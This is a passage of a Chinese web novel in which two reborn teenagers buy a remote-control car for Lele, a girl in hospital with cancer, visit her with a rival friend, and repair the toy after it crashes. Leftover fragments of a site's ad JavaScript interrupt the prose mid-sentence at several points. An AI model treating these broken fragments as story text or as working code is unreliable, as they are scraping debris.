更过分的事儿还没完,后来连自己从小练到大的小提琴,谭佳宜都失去了在家里拉的自由。程婉乔一边找着合理的借口,一边装模作样地找谭墨行倾诉自己这些年拉扯谭佳航的不易,反正就是各种打压背刺谭佳宜,面儿上还装出一副温柔继母的形象。 所以,谭佳宜才不要称了她的意。她既然要演好好后妈,那她就演好乖巧继女。面儿上谭佳宜挑不出程婉乔的错,那她也别想挑出她的错。 就是这样的勾心斗角,这样的阴暗前行,谭佳宜哪有心思想自己光明的前程,她就算自己陷入泥沼,也不要让他们好过。 人在心烦的时候,就连自己喜欢的事情也干不下去,谭佳宜也不例外,她难得静不下心,这会子物理书也看不下去了,她干脆合上书,点开了周泽楷的聊天记录。谭佳宜突然想到放学的时候,周泽楷好像还特意提醒过她,别忘了之前的承诺。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>她答应和他假期一起去看乐乐的,要不……就明天吧。 快速编辑好时间和地点,谭佳宜给周泽楷发了过去。 现在是晚上十一点,说早不早,说晚不晚,放在平时上学的时候,也才刚放学不久,只是对于假期,她也拿不准儿周泽楷的作息,想着他该不会是已经睡了吧。 要不还是撤回吧,他要是手机开得响铃呢?会不会吵醒他? 一向刚毅果决的谭佳宜难得像现在这般思来想去,瞻前顾后,这哪会是她的作风。 她盯着手机屏出神,将屏幕按亮又熄灭,反反复复折腾了整整一分钟。 算了,还是撤回吧。刚准备撤回时,对方发来消息:乐乐有什么喜欢的吗?去之前我准备点儿。 还挺细心,她本来想着带点儿水果之类的,但是也不知道乐乐爱不爱吃水果,爱吃哪一种水果。她想起来了,乐乐倒是有个一般小女孩儿没有的爱好,她喜欢玩儿遥控赛车,要不就投其所好? 谭佳宜:你家有遥控赛车吗? 周泽楷:? 周泽楷:这个你家有的可能性应该更大吧。 谭佳宜:谭佳航不玩儿那个。 周泽楷:乐乐喜欢? 谭佳宜:嗯。 周泽楷:那我们明天早点出发,一起去给她挑一个吧。 谭佳宜:行,明早八点见。 和周泽楷发消息的同时,谭佳宜不知怎的,突然想起来一件事,刚才谭墨行提到的那个公司,好像就叫奇瑞。 这个名字怎么这么耳熟啊,谭佳宜想了半天也没想起来,她只好打开电脑上网搜。 奇瑞不难搜到,直接输入这两个字,百度百科就弹出来关于这家公司的具体介绍。她从上往下细细翻看起来,奇瑞是一家文化传媒公司,在游戏领域业务十分庞大,谭佳宜这么看着,倒是没发觉什么异样。直到她看清公司创始人时,才猛地一惊,这家的公司的创始人是 ——周志刚! 所以这个奇瑞就是周泽楷家旗下,和佳行律所有业务往来的那家公司。 怎么会这么巧呢? 谭佳宜摇了摇头,还是打消了心里那个离谱的想法。她告诉自己,可能就是那个公司终于擦亮了眼睛,所以才和佳行解约的,应该和周泽楷没什么关系吧。 与此同时,周泽楷这边倒是心情很好。一是他总算把之前答应七哥的事情办下来了,按照约定,七哥也不会泄露他们搜集到的东西,也算是改变了上一世的轨迹,就是不知道结果会不会有什么变化? 他是真心希望,七哥和谭佳宜都不要出事。 二来他感觉到他和谭佳宜的关系又近了不少,而且连续两次月假都有见面,这可比上一世的进度快多了。 周泽楷躺在床上,一边期待着明天的见面,一边向往着大家未来越来越顺利的走向,不知不觉间,就进入了梦乡。 26. 梦境&玩具 这一觉,周泽楷睡得十分香甜,他做了一个悠长而美妙的梦。无数小时候的镜头拼接在一起,每个画面都记录着他和谭佳宜童年的美好时光。 梦的尽头,他站在一个陌生的环境,周围是古色古香的教学楼,上面爬满了一墙爬山虎;身后有高大气派的图书馆,刚翻新的现代气息很浓;两侧是林荫小道,道路旁还有退了漆的长椅;远处的湖泊上架起白桥,形成一个很好看的弧线。 一群不穿校服,背着书包的人从他身边穿行而过,有人行色匆匆,嘴里还叼着一片面包。他再转过头来时,只见谭佳宜明媚地笑着,和路旁的绿意相辅相成,一路小跑着朝他奔来。 不幸的是,闹钟此时突然响起,梦到这里戛然而止。 周泽楷极不情愿地从床上坐起来,似乎还不愿接受这只是场梦。闹钟仍在一旁“嗡嗡”地响,他烦躁地揉了揉头发,反手摁掉闹钟。 刷牙的时候,周泽楷还在回味刚才梦里的场景。梦里的景象美好梦幻,少女明媚的笑容真实可感,是大学校园里的谭佳宜啊! 上一世,谭佳宜就是在高考后出事的,录取通知书都下来了,她和自己成功考上了京大。只不过遗憾的是,他们都还没来得及去大学校园看看,一切就被一场人命官司全部击碎。 在这个梦里,美好的童年和多彩的大学无缝衔接,好像中间什么事都没有发生一样。周泽楷不禁思考,要是没有她妈妈的离世,要是没有亲人的背叛,要是没有恶人的作祟,这些糟心事统统没有,她会不会如梦里一样,无忧地成长,顺利地进入大学,过正常孩子拥有的幸福生活。 既然事情还未发生,一切就还有转机。这一世,他一定要阻止不幸的发生,他要守护谭佳宜光明的未来! 洗漱完毕后,周泽楷准备换件衣服出门,他打开衣柜,其实里面不过是大同小异的衣物,也不知道值不值得他挑挑拣拣半天。 衣柜里大多都是一些深色的衣服,角落里一件白色的外套格外显眼,之前因为觉得不耐脏,就一直没怎么穿。周泽楷记得上次见面的时候,谭佳宜就穿了一件白色的T恤,所以…… 他拿起那件白色外套,又选了一个浅色的卫衣搭在里面,顺手配了个浅色牛仔裤,换好衣服后,周泽楷端详着镜中的自己。 少年清清爽爽,只是不笑时依旧有种冷气,看来这种与生俱来的高冷面孔和衣着无关。 的确和平时的风格不太一样,不过也还不错。 周泽楷提前了几分钟到达约定好的商场门口,已经到了约定的时间,但是还是不见谭佳宜的身影。他看了看腕表,又四处张望了一圈,还是不见来人。 想起上次游乐场见面的情景,那次他迟到了,这次换她了,俩人还真是十分默契,轮流迟到。 算了,多等一会儿倒是无妨,周泽楷也是很耐心地在原地候着。 时间一分一秒地过去,转眼离约定的时间已经过去了将近半个小时,周泽楷终于没那么淡定了,他微微蹙眉,眼中闪过一丝担忧。 她该不会出什么事儿了吧,周泽楷有些惴惴不安,刚准备给她发消息时,身后便传来一个熟悉的声音。 “不好意思,路上有点堵车。”少女喘着气,估计也是急着赶过来的。 周泽楷回头一看,看来他还是算错了。 谭佳宜穿着一条杏色的碎花长裙,长发披散着,在风中稍显凌乱。有些头发吹得挡住了视线,她把头发往后一撩,纤纤玉手拨弄着丝丝秀发,举手投足间别有一番风韵,着实惊艳了眼前的少年。 不得不承认,谭佳宜这样穿是挺好看的,有种别样的温婉气质。虽然她怎么打扮都好看,但这种和平时有反差的美更让人心动。 他有些不自然地移开眼,说道:“没事,那个你今天穿得挺不一样的,好久没见你穿裙子了。” 谭佳宜打量了一番周泽楷的穿搭,倒也是和平时不太一样。少年平时一般穿深色,给人一种阴沉清冷的感觉,但他皮肤本就白,浅色也能很好的驾驭,有种扑面而来的清爽少年感。 “这边这个房子里基本都是裙子,就凑合着穿了。你可别多想,不是专门穿给你看的。” 果然是嘴硬,我也没说是穿给我看的啊,这不是不打自招嘛。 周泽楷咳嗽了两声,配合地答道:“嗯,我有自知之明。大家都有穿衣自由,你不用解释那么多。”说罢又意味深长地看了她一眼。 谭佳宜马上反应过来他的意思,自知自己刚才确实是大意了,立刻转移话题:“赶快走吧,一会儿时间不早了。” “你知道在哪一层吗?” “不知道,但一会儿就知道了。” 她没看周泽楷,径直朝前走去。周泽楷在身后轻笑一声,也很快跟了上去。 两人找到了商场的区域分布导引图,玩具店在三楼,店面很大,商品琳琅满目,种类也很多。 在经过一片粉嫩的芭比展区时,谭佳宜突然顿住脚步,拿起一个芭比套盒问周泽楷:“你要不给你妹买一个?讨好一下她,没准儿能提高一下家庭地位。” 周泽楷苦笑了一下,接过这个芭比套盒打量了一番,“这个没准儿她已经有了,毕竟我妹赶新潮,玩具店上了的她估计早就下手了。还有,我也不至于要去讨好她,她还有把柄在我手上呢,要讨好估计也是她来讨好我。” 谭佳宜瞥了一眼周泽楷,神色诧异道:“没想到啊,你也会耍这些小手段了。哦,我想起来了,你本来就不是什么纯良少年,上次好像还跟踪别人来着,对吧?” 周泽楷没想到她又把这件事儿翻出来说,还挺记仇! 他将芭比套盒放好,微微一笑:“确有此事,不过和您相比,我还是小巫见大巫了。唉,一会儿买遥控赛车的时候要不也给你弟整一套吧,这同在一片屋檐下,人际关系也是要打点好的。” 两人还真是有来有往,这个问题从周泽楷那儿又被推回了谭佳宜那儿。 “是个好建议。但是我弟比较成熟,早不玩儿那些了。但你的思路是对的,确实要和他搞好关系。不过呢,有时候收买人心不能单单靠物质,你要投其所好,明白他想要什么,或者他缺什么。” 果然是经验丰富、心思深重的老手,周泽楷没想到,一个十五岁的少女心智已经这么成熟了。他记得,三年前谭佳宜还是个不谙世事、心思单纯的小女孩儿,看来这三年她真的被迫长大了许多。 “学到了,多谢谭老师赐教。” “我就随口一说。” 谭佳宜的眼眸暗了几分,他望着周泽楷的背影心想:你也不用学,反正也不需要,单纯点儿其实挺好的,毕竟只要开始懂这些了,就再也回不去了…… 周泽楷还在仔细寻找着遥控赛车,突然发现谭佳宜没有跟上了。他回头看了一眼,她正停留在一个玻璃柜前,望着柜子出神。 “看什么呢?” 直到周泽楷走到她身旁,谭佳宜才突然回过神来,她立马移开了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 视线,“没什么,赶紧找遥控赛车吧。”说罢便快步走开了。 周泽楷看向她刚才看的玻璃柜,里面摆放着几个精美的手办,其中一个一下子吸引住了周泽楷的眼球。 那是一个长发少女,正在安静地拉着小提琴,旁边的树上,还有几个音符在跳动。 所以,她刚才是在看这个吗? 周泽楷若有所思,又看了一眼那个拉琴的少女,接着朝谭佳宜的方向跟了上去。 两人绕了一大圈,终于在一个边角找到了遥控赛车的货架。款式还挺多的,样子看上去也都还不错。 谭佳宜小时候没玩儿过这个,都是和一些天体模型打转。而周泽楷可能和谭佳航一样,小时候比较早熟,也没怎么玩儿过玩具。所以,两个人都对这方面显然都没什么研究,上面介绍的一些性能、模式什么的,他俩更是没什么感觉,因此也就只能凭外观挑了。 谭佳宜扫视了一圈,最后目光定格在中间最上排的货架。 那是一个红色的赛车,车型流畅,车身上有两条黑色的斜杠,很独特也很炫酷。大小刚刚好,不大不小,挺适合乐乐那么大的小女孩儿的。 谭佳宜准备拿下来看看,无奈架子有点高,她要踮起脚才能勉强触到。她使劲儿伸手去够,刚触到盒子时,它就突然晃了一下,估计盒子本身就没放好。 经过一番剧烈抖动,加上盒身太大,前面的挡板根本不足以阻止它掉落。 就在盒子在边缘摇摇欲坠时,周泽楷眼疾手快地用一只手抵住了盒子,另一只手,覆在了谭佳宜的头上。 感受到头顶上宽大的手掌,谭佳宜看向旁边的周泽楷。 两人离得很近,在这个都不那么舒服的姿势下,四目相对,呼吸交织,周围其它小孩儿的吵闹声全听不见,时间也似乎按下了暂停键。 不过这个暂停只一瞬,暂停结束,耳边再次回荡起小孩儿的吵闹声,家长的说教声,收银员的服务声…… 谭佳宜放下脚后跟,周泽楷移开手,又将刚才的遥控赛车拿下来。两人都后退一步,瞬间拉开了距离。 “要不就这个吧。”谭佳宜指了指他手上的玩具盒。 “嗯……可以啊,我去结账。”他拿着遥控赛车,此时甚至觉得这个盒子也有些烫手。 盒子哪里会是热的,只可能是周泽楷自己手掌的温度。 结过账后,谭佳宜问周泽楷多少钱,说把钱给他。 “不用了,咱们一起送的,谁付都一样。” 这话怎么听着怪怪的,他们是……一起的? 谭佳宜也没在坚持给他钱,毕竟他肯定不缺这几个钱,也不会要她的钱。 “行吧。但是你付的钱就说是你送的吧,不用提我,我不想欠别人人情。” “哦。”周泽楷微微点头,他心想,划这么清的吗?边界感还挺强。 “对了,你应该是打车来的吧。我骑车来的,要不一会儿你做我后座?”周泽楷向她投去期待的目光。 他想这下子她应该也没理由拒绝吧,果然是个千载难逢的好机会。 “不用了,一会儿有人来接我。” 嗯?有没有搞错啊?怎么还有别人! “去看乐乐,不是就咱俩吗?” 谭佳宜瞥了一眼周泽楷,从容地说道:“我什么时候说就咱俩了,七哥也去啊。” 七哥?三人行? 周泽楷发出无声的呐喊:不会吧!他怎么阴魂不散啊! 27. 电梯&病房 正说着,身后传来摩托车的轰鸣声,一辆熟悉的摩托车映入眼帘。 那人摘下头盔,对谭佳宜说了一声上车,又瞥了一眼旁边的周泽楷补充道:“车子小,容不下三个人,你自己解决吧。” 谭佳宜瞥一眼周泽楷,“你应该知道在哪儿吧,我们医院见。” 说完后,摩托车上的两人已经就绪。谭佳宜和他挥了挥手,又说道:“记得骑快点儿。” 摩托车扬长而去,只留下周泽楷抱着玩具盒,和他那个自行车孤零零地愣在原地。被中途截胡这事儿,周泽楷还是第一次碰到。 你想让我坐我还不乐意呢,不就是快了点儿嘛,噪音大还不环保。 周泽楷把东西放好,骑上单车后,开始拼命地瞪着踏板,骑得飞起,硬是把自行车骑出了电动车的速度。 可自行车的终究是靠人力驱动,不管周泽楷蹬得多么拼命,摩托车也可以轻而易举地将他甩在后面,七哥和谭佳宜自然比周泽楷先到。 “要不我们先进去吧。” “他没来过,不知道在哪个房。”谭佳宜身子朝外面探了探,目光看向医院门口的停车篷。 “今天风挺大的,我是怕你着凉。你有他联系方式吗?给他发个消息不就行了。” 谭佳宜没听七哥的,仍然站在门口,似乎没有要走的意思。 “再等等吧,应该快了。” 七哥拿她没办法,只好和她一起等。突然一阵狂风吹来,谭佳宜的裙子被吹得没了形儿,头发也在风中乱舞。她一边扒拉着头发,一边整理着裙摆,一时间手忙脚乱,也顾不上瑟瑟发抖。 这时,肩上突然多了一分重量,七哥轻轻地将自己身上的外套,披在了谭佳宜的身上。 她抬眸,诧异地看向七哥,刚要推脱之际,七哥按住了她解下外套的手,似乎是料到她会拒绝,“披着吧,为了等他,把自己弄感冒了可划不来。” 谭佳宜终于没再拒绝,再次转过头来时,恰好撞上了周泽楷的眸子。 好巧不巧,刚刚的一幕被周泽楷全看见了。 谭佳宜不知道他什么时候来的,也不知道他在这里站了多久,反正现在他正死死地盯着自己,表情好像不太对劲儿。 心虚什么,不就是披个外套嘛。他难道没给她妹妹披过衣服吗? 虽是这么想,谭佳宜还是把外套卸下来,还给了七哥,也没做过多解释,神态自若地和周泽楷打着招呼,像是刚才什么也没发生一样。 “可算来了,那就走吧。” 没等周泽楷跟上,谭佳宜就先一步走进了医院,七哥自然和她并排走着。 看着二人远去的背影,周泽楷真的气不打一处来,明明最开始是他约的谭佳宜,怎么到最后还要白白给别人做嫁衣,真气人! 周泽楷鼓起腮帮子,医院门口又不好发泄,只好将火气吞了进去。他真是后悔,刚刚就不应该让谭佳宜和七哥走的,怎么也讲究个先来后到吧,不然这会儿怎么会在门口又被重创一次。 等等,不对劲儿,为什么会在门口遇到呢?他们明明会先到挺久的啊? 难不成刚刚站在门口,她是在专门在等他?周泽楷敲了一下自己的榆木脑袋。 原来如此,就知道她还是没那么薄情。不过站在外面那么久,应该挺冷的吧,他皱着眉,回想起刚才七哥给她披衣服的情景。 胸口瞬间通畅,周泽楷觉得自己又活过来了。 坐了你的车又代表什么呢?和你一起走又代表什么呢?这些周泽楷现在都不想计较,他迈着轻快的步子,大踏步地向前跑着,三两下就追上了他们。 “叮咚~” 电梯响了。好巧不巧,电梯里空无一人,为他们的三人世界创造了良好的条件。 谭佳宜被两人夹在中间,三人都缄默着,气氛有些微妙,伴随着淡淡的消毒水的味道,显得更加诡异。 谭佳宜能够感受到,二人交汇的目光,都在往她的方向看。她其实进来的时候就不想站中间的,只是觉得如果站两边的话,站谁那边都不太妥当。现在她被盯得不自在,干脆向前走了一步,剩下后面两个人大眼瞪小眼。 就让他俩互看吧,正好增进一下感情。反正自己看不见,眼不见心不烦,尴尬的也不是她。 果然,后面俩人在谭佳宜走后,视线不可避免地看向对方。不过他们好像都发现了对方的小心思,心照不宣地别过头,开始面壁思过。 毕竟,俩个大老爷们也没什么好看的。 “叮咚~” 电梯总算又响了,顺利抵达38层。 密闭的空间总是让人心慌,密闭的幽静更是让人无话可说,即使是再开朗的人,可能也会突然间沉默。时间仿佛在电梯里被拉长,三人都巴不得赶快结束这段独处时光。 38层是儿童住院部,一进去,里面充满了童真的气息。 墙体是青青草原,上面还有喜羊羊的彩绘;顶上是湛蓝的蓝天,云彩却不是单调的白云,而是缤纷绚丽的七彩祥云的,祥云的一端,有齐天大圣腾云驾雾,还有七仙女款款登场。 不得不说,这布景还是挺用心的。 最让人印象深刻的,是专门有一面墙供孩子们涂鸦,上面有彩虹,有风车,有星星,有愿望,虽然毫无章法地散落在墙上的每个角落,却都是这副画的有机组成部分,一起构成一幅独一无二的巨画,一幅充满童真与生机的画,一幅承载着每个孩子美好心愿的画。 周泽楷的视线还被周遭的绘画吸引着,不知不觉,竟已到了走廊的尽头。 “到了,就是这了。” 谭佳宜推开病房门,一个小女孩儿正坐在病床上,睁大眼睛看是她来了,立马笑着从床上跑下来,连鞋也没来得及穿,光着脚丫跑到谭佳宜跟前。 病床旁的男人宠溺地笑着,在后面轻呼着慢点儿。 谭佳宜蹲下来,她一把搂住谭佳宜的脖子,又钻进她怀里蹭了蹭。 “姐姐,你怎么才来,我好想你。” 小姑娘一口小奶音,笑起来眼睛像月牙,弯弯地眯成一个弧形,嘴角还有两个小梨涡,十分可爱。 “这不是来了嘛,我也想你。”谭佳宜捏了捏小姑娘的脸颊,亲昵地说道。 周泽楷好久没听到谭佳宜用这么温柔的语气说话,带着慈母长姐般的关怀,比平时冷冰冰的样子可有人情味儿多了。 他不禁在心中感慨:这小家伙可真有福气,肯定吉人自有天相。 “乐乐,今天姐姐还带了两个大哥哥过来陪你玩儿。这个哥哥你之前见过的,是阿恒哥哥。”谭佳宜指着旁边七哥,向乐乐介绍。 周泽楷疑惑,在七哥耳边小声道:“阿恒哥哥,说得是你吧。” 七哥微微点头,“我大名叫苏以恒。” 苏以恒,别说,这名字还挺好听的。 周泽楷很快回过神来,立即制止了心中这个想法。 好听什么啊! 阿恒,多肉麻。周泽楷耸着肩,顿感身上一阵鸡皮疙瘩。 小姑娘抬头看了一眼旁边的七哥,立刻往后缩了缩,脸比翻书还快,刚才的笑容瞬间消失不见,大眼睛中骤然盛满了泪水,嘴巴向下撇了撇,“姐姐,这个哥哥还是好凶啊,我怕……” 谭佳宜轻抚着小姑娘的背,温声细语地安慰她:“乐乐不用怕,这个哥哥是好人,他会保护你的。”说罢,谭佳宜朝七哥使了个眼色,示意他别板着张脸,要笑一笑。 七哥这才扯起嘴角,勉强笑了一下,不过实在是不熟练,表情生硬且不自然。 这笑了还不如不笑,刚刚还只是眼泪汪汪,现在直接嚎啕大哭起来。 小姑娘被吓着了,眼泪如洪水般汹涌,似冲破了最后一道堤坝,一发不可收拾。 七哥见状也慌了,想上前安慰她,但奈何他越靠近,小姑娘就哭得越凶。 这时一旁的周泽楷上前蹲下身子,亲拍了一下小姑娘的肩头,露出一个灿烂可亲的笑容。 “乐乐,你看这是什么。” 一声轻柔的声音在耳边回荡,小姑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘终于肯抬起头来。周泽楷从身后将遥控赛车拿出来,伸手递给她。 “这是给你带的礼物,收下这个,就不哭了好不好?”他的声音比平时更温柔,完全是哄小孩子的语气。 小姑娘一看见漂亮的遥控赛车,立马大雨转晴,咧开嘴笑了起来,哭声也止住了。 真真是变脸比翻书还快呢!不过还是挺好哄的,不像某人,是块儿难捂化的冰块。 看了一眼周泽楷,谭佳宜突然想起来,还没向乐乐介绍他呢。 “乐乐,这个哥哥是……小楷哥哥,他也是来看你的。” 不对,怎么刚才介绍七哥是阿字辈儿的,到自己这儿,就是小字辈儿了。周泽楷有点不爽,毕竟阿什么的听起来带点亲昵的意味,而小什么吧,总有种长辈叫小辈的感觉。 算了,先不纠结这个了。 周泽楷随即伸出手和她打招呼,小姑娘爱屋及乌,也不怕他,甚至还有点儿喜欢他,竟主动上前和他握手。 看来他还是挺招小朋友喜欢的,谭佳宜看向他和乐乐互动的场面,嘴角不自觉地勾了勾。 陪她在病房里玩儿了一会儿,他们教乐乐画画写字。小姑娘一改刚才活泼的样子,不哭也不笑,小小的手握着笔,抵在大大的写字板上。 她安静地坐在病床上写字,笑脸微微泛白,唇色也有些淡,但眼睛却还是亮闪闪的,透着专注的光。 渐渐的,周泽楷和乐乐也熟络起来。他注意到,乐乐戴着一顶红色的针织帽,上面绣着“平安喜乐”四个字。 周泽楷心想,红色代表吉祥喜庆,上面的字寄托着美好的祝愿,李叔一定是很爱这个女儿的,希望她能渡过难关,平安长大。只是小姑娘还是太可怜,在这么小的年龄,却要忍受化疗的痛苦,不知道她看到其他小朋友扎辫子时,会不会羡慕? 由于重病患者的饮食也需要注意,所以中午饭儿童病房是由医院统一配餐。李叔说留他照顾就行了,叫他们先去吃饭,三人也就暂时离开病房,在医院周边随便找了个小店坐下吃饭。 周泽楷一直有个疑惑,但刚才在病房里也不方便问,现在终于有机会问出口。 “怎么没看见乐乐的妈妈?” 霎时间,谭佳宜和七哥陷入了沉默,这种安静的氛围让周泽楷有点想撤回刚才那句话,他想着自己是不是问了不该问的,触及到了别人的隐私。 过了一会儿,谭佳宜缓缓开口道:“也不是不能说……” 与此同时,七哥看了一眼她,好像要说什么,但终究还是没有打断她。 “乐乐其实是李叔收养的孩子。五年前,李叔在家门口的垃圾桶旁发现了一个弃婴,就带回家了,这个孩子就是乐乐。” 周泽楷万万没想到会是这样一个答案,他惊在原地。 “李叔一直没成家,这些年独自抚养乐乐。他给她起名李乐园,就是希望她能快乐地长大,不要再遭遇出生时被遗弃的不幸。李叔一个人养孩子不容易,既当爹又当妈,但他也确实给乐乐搭建了一个成长的乐园,本以为她可以茁壮成长的,只是没想到……” 话题过于沉重,谭佳宜终于说不下去了。其他两个人听得也很是动容,尽管七哥原先就知道了,但再听起这个故事,眼神中还是有掩盖不住的悲怆。 平复一下心情,谭佳宜补充道:“乐乐并不知道自己不是亲生的,李叔也不让我们同别人说,所以……” “我知道,我不会提的。乐乐就是李叔的孩子,永远都是。” 结束这个话题后,三个人都开始闷头吃饭,没再说一句话。 三个有着同样不幸家庭的少年,此刻聚在一起,各怀心事,陷入沉思。 听完李叔和乐乐的故事,或许他们都感叹命运的不公,让原本幸福的家庭遭遇坎坷。但他们也有种说不上的复杂情绪,是渴望,是向往,也是羡慕…… 乐乐是不幸的,她小小年纪却要同病魔抗争。 乐乐也是幸运的,她有一个爱她的爸爸,能够跨越血缘关系去拥抱她。 28. 爱车&修车 三人回到病房时,乐乐也已经吃过饭了,小姑娘伸了个懒腰,随即往后一躺。她有午睡的习惯,刚吃过饭,困意一下子涌了上来,很快就睡着了。 病房里安安静静的,看见乐乐合了眼,谭佳宜立马比出一个“嘘”的手势,周泽楷和七哥也立马会意,都尽可能放轻脚步,不发出一点儿动静。 这时,李叔的电话突然响了。 在门外接过电话后,李叔说工作上临时有急事,可能要拜托他们照看一下乐乐。他有些为难地看向他们三人,又看了一眼病床上熟睡的乐乐。 “李叔,这儿就交给我们,您放心去吧。”周泽楷善解人意地说道。 “嗯,不用担心,我们会照顾好乐乐的。”谭佳宜也附和道。 李叔知道,这三个孩子都是好孩子。有他们三个在他也就放心了。 “那就辛苦你们了。”李叔点点头,给乐乐整理了下被子就离开了。 三人百无聊赖地坐在病房里,午后的气氛慵懒倦怠,在这温馨的布景下,原本没有的瞌睡也被催生出来。 七哥倚靠在墙边,很快就睡着了。谭佳宜本来还强撑着没睡,但不知不觉也合上了眼睛。 等周泽楷转头看时,周围三人竟然都睡着了。 午后的阳光透过窗帘洒进来,金色斑点落在谭佳宜柔顺的长发上,杏色裙子也镀了一层金光。她此刻趴在病床边,阳光的暖色让她褪去平日的冷调,宛如一只乖巧的小鹿,正闭着眼休憩。 周泽楷没忍住,伸手想去帮她捋一捋滑落到额前的头发,就在他很认真地将头发往后捋的时候,耳边突然传来一声稚嫩的童声。 “小楷哥哥,你在干什么啊?” 周泽楷吓得一个激灵,立马收回了手,耳边又传来另一个熟悉的声音。 “嘶。你干什么!”谭佳宜看向他,眼底压抑着怒火。 周泽楷低头一看,才发现谭佳宜的发丝缠在了他的手指上,刚才他收手的同时,快速发力往后一带,自然拉扯到了谭佳宜的头皮。 谭佳宜突然从睡梦中惊醒,只觉那几绺头发快被扯下来了,连带着整个头皮,都感到有些刺痛。 她真怀疑,周泽楷是要谋杀她! 周泽楷慌忙把头发解开,又连忙向谭佳宜道歉,他想检查一下她头皮有没有受伤。谁知刚触及到她脑袋时,谭佳宜立马推开了他。 “不用。试一次还不够,还要来第二次?” 小姑娘为谭佳宜打抱不平,也抓着周泽楷不放,一脸认真地继续追问道:“哥哥,你刚刚到底在干嘛?干嘛打扰姐姐睡觉,都弄疼她了。” 这小孩儿怎么这么多问题啊,这就是传说中好奇宝宝吗?非要打破砂锅问到底。 就是说咱求知也大可不必这么若渴。 周泽楷觉得现在真是尴尬透了,真想找个地缝钻进去。 “额……就是……刚刚想帮你整理一下头发,然后就……”他的声音小得像蚊子哼一样,但谭佳宜却听清了。 “哥哥,你说什么?大声点儿,我听不见。”小乐乐只想知道真相给姐姐一个交代,但就是为难周泽楷了。 此时七哥也醒了过来,正在看热闹不嫌事儿大地打量着周泽楷,同样期待着他的解释。 “就是……” “小楷哥哥刚刚看姐姐头上有个虫子,就想帮姐姐弄掉,结果一不小心把头发缠手上了。我没事儿的,不过小楷哥哥也是好心,他没有要打扰姐姐的意思。” 乐乐点了点头,好像理解刚刚周泽楷的所作所为,立刻向他投去敬佩的目光。 “小楷哥哥好勇敢,竟然不怕虫子。对不起啊哥哥,刚刚错怪你了。”小姑娘有些抱歉地说,“对了,那个虫子到哪儿去了?不会还会回来吧?”乐乐缩到被子里,面露怯色地望向周泽楷。 “没事了,虫子已经飞走了。要是再回来,哥哥就再把它赶走。” 周泽楷看向谭佳宜,心里想着:她撒这么个谎帮他,是单纯想糊弄小朋友,还是…… 总之,这个话题现在可算到此为止,刚才的闹剧也没人再提了。 乐乐刚睡完午觉,洗了个脸后彻底清醒过来,好像又恢复了之前的兴奋劲儿。 她看向床头柜上的遥控赛车,两眼放光地说道:“我们要不出去玩遥控赛车吧。” 这个提议不错。谭佳宜看了一眼外面的天气,太阳竟然出来了,明明早上还在刮大风呢。气温不冷不热,阳光照在身上暖暖的,正适合出门玩儿。 “去嘛去嘛,姐姐你看现在天气多好,再不出去一会儿天就黑了。”小姑娘拉着谭佳宜的手左右晃着,眨着一双大眼睛央求着她。 本来谭佳宜还有些不放心乐乐的身体状况,但看到乐乐的气色还不错,也是该让她出去透透气,晒晒太阳了。 “好吧,但不能玩儿太久。你爸爸之前交代过,你不能吹风的,容易感冒。” “好耶!”乐乐开心地在原地打转,她举起手和周泽楷击了个掌。 带着遥控赛车,三人来到医院附近的一个儿童公园。 找了个宽敞一点的地方,周泽楷把赛车拿出来。本来还担心小姑娘不会玩,但谁知道她刚接过,很快就上手了。 不一会儿,红色的小车便自如地在路上行驶,无论是拐弯上坡,还是过障碍物,都十分顺畅。 “你还挺厉害的嘛。”周泽楷自愧不如,由衷朝她竖了个大拇指。 小姑娘被夸得有些得意,拍了拍胸脯:“那是,别看我年纪小,我可是有三年车龄的老司机了。” 小姑娘语出惊人,差点惊掉了周泽楷的下巴。他在心中暗暗感叹:不会吧,两岁开始玩儿这个?不过,“车龄”和“老司机”这两个词应该不是这么用的吧。 算了,也差不多能懂。 小孩子嘛,哪有那么严谨的。 “厉害厉害,你努努力,没准儿以后还能开上赛车呢。” 周泽楷当然知道,她现在最迫切的问题,是能不能挺过眼下的这一关。毕竟未来很远,但现实却是肉眼可见的残酷。 但周泽楷始终坚信,她可以的,她一定会是个幸运的孩子。 乐乐一听开赛车,也很兴奋,她扬起头露出一张笑脸,“嗯。爸爸也说我有天分,将来我肯定能开上真的赛车。” 小姑娘信心十足,斗志昂扬。她现在就有了自己喜欢的东西,谈及自己理想的样子,真的很酷! 不过开车时还是尽量不要讲话,尽管是遥控赛车。 刚才顾着和周泽楷说话,乐乐一时分心,也没注意到前面突然有块儿大石头。就在她转头发现时,已经来不及避开了。 红色小车一下子撞上巨石,犹如鸡蛋碰骨头,即使没有粉身碎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骨,也是摔了个七零八碎。 乐乐瞬间傻眼了,赶忙上去看赛车的情况。 零件散落一地,一片狼藉。她望着自己散架的新车,实在是心疼,眼泪随即啪嗒啪嗒地掉了下来。 “对不起,我对不起你,哇呜……” 小姑娘突然哭了起来,周泽楷他们自然赶忙上前安慰。谭佳宜轻拍着她的背,周泽楷也安慰她:“没事的,你没对不起任何人,这个是你的车,摔坏了也没事儿。实在不行哥哥再给你买个新的。” “不行,我对不起它,哼嗯……” “对不起谁?”周泽楷有些疑惑。 “她应该是说对不起这个。”谭佳宜指了指地上摔坏的赛车。 哦,原来如此。 这就是真正的爱车人士吗?对于乐乐来说,遥控赛车不只是一件玩具,或许它在此刻拟人化了,像是她的一个朋友。朋友因为自己受伤了,自然会自责,会心疼。 与此同时,七哥默默地捡起地上的零件,开始在一旁捣鼓起来。 “没事的,让这个哥哥看看,没准儿能修好呢。”谭佳宜指了指正在修车的七哥。 真能行吗?周泽楷为七哥捏了把冷汗。那个玩具赛车里面看起来挺复杂的,零件也不少,组装起来可不是一件轻松的事情。 “差不多,应该可以了。” 才过去十分钟,七哥竟然真的把原本七零八碎的零件重新组装起来了。 “就是还差个黑色齿轮,再找找看有没有落在哪里。” 其他三人开始在附近搜寻,远处角落那头不一会儿传来乐乐的声音:“是这个吗?” 她拿过来给七哥,果然就是最后缺的那个零件。 